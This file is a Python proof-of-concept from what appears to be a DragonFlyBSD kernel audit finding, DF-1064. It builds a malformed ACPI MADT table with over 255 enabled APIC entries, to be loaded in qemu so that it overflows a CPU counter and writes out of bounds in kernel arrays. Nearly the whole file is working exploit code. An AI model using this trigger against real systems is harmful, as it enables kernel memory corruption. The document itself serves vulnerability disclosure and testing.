DragonFlyBSD Kernel Audit
DF-1064 / gen_madt.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""
Generate a malicious ACPI MADT that triggers DF-1064: unbounded CPU
counter in madt_lapic_pass2_callback / madt_x2apic_pass2_callback.

Unlike DF-1042 (one entry with LocalApicId >= 256), DF-1064 uses MANY
enabled entries (>255) to drive the cpu counter past NAPICID=256 and
overwrite cpu_id_to_apic_id[cpu] / cpu_id_to_acpi_id[cpu] OOB.

Both DF-1042 and DF-1064 share the same lack-of-bounds-check in
lapic_set_cpuid. They are filed as siblings because the trigger and
attacker-controlled value differ:
  - DF-1042: crafted LocalApicId as the apic_id (2nd) parameter.
  - DF-1064: too many enabled entries driving the cpu (1st) parameter.

This script emits a MADT ready for `qemu -acpitable file=...`.
"""
import struct
import sys

SIGNATURE = b'APIC'
REVISION  = 3
OEM_ID    = b'DFLY  '
OEM_TBL   = b'BIGMADT'
OEM_REV   = 0
CREATOR   = b'INTL'
CREATOR_R = 0
LOCAL_APIC_ADDR = 0xfee00000
FLAGS     = 1   # PCAT_COMPAT

def local_apic(processor_id, apic_id, flags):
    """ACPI_MADT_LOCAL_APIC: Type(u8)=0, Length(u8)=8, ProcessorId(u8),
    Id(u8), LapicFlags(u32)."""
    return struct.pack('<BBBBI', 0, 8, processor_id, apic_id, flags)

def local_x2apic(local_apic_id, uid, flags):
    """ACPI_MADT_LOCAL_X2APIC: Type(u8)=9, Length(u8)=16, Reserved(u16),
    LocalApicId(u32), AcpiProcessorUid(u32), LapicFlags(u32)."""
    return struct.pack('<BBHIII', 9, 16, 0, local_apic_id, uid, flags)

LOCAL_APIC_ENABLED = 1

# Generate the malicious body: one BSP + N enabled non-BSP entries.
# N > 255 drives arg->cpu past NAPICID=256.
N_EXTRAS = 300

body  = local_apic(0, 0, LOCAL_APIC_ENABLED)               # BSP, Id=0
for i in range(N_EXTRAS):
    pid = (i % 255) + 1
    body += local_apic(pid, 1, LOCAL_APIC_ENABLED)          # Id=1 != BSP, all enabled

# x2APIC variant (uncomment to use instead):
# body  = local_x2apic(0, 0, LOCAL_APIC_ENABLED)             # BSP, LocalApicId=0
# for i in range(N_EXTRAS):
#     body += local_x2apic(i + 1, 0xCAFE0000 + i, LOCAL_APIC_ENABLED)  # Uid = chosen value

# MADT-specific header (after the 36-byte ACPI table header).
madt_specific = struct.pack('<II', LOCAL_APIC_ADDR, FLAGS)

header_len = 36 + len(madt_specific)
total_len  = header_len + len(body)

header  = SIGNATURE
header += struct.pack('<I', total_len)
header += struct.pack('<B', REVISION)
header += struct.pack('<B', 0)             # checksum, fixed below
header += OEM_ID
header += OEM_TBL
header += struct.pack('<I', OEM_REV)
header += CREATOR
header += struct.pack('<I', CREATOR_R)
header += madt_specific

table = header + body

# Fix the checksum: sum of all bytes (including the 0 checksum byte) mod 256 == 0.
chk = (-sum(table)) & 0xff
table = table[:9] + bytes([chk]) + table[10:]

sys.stdout.buffer.write(table)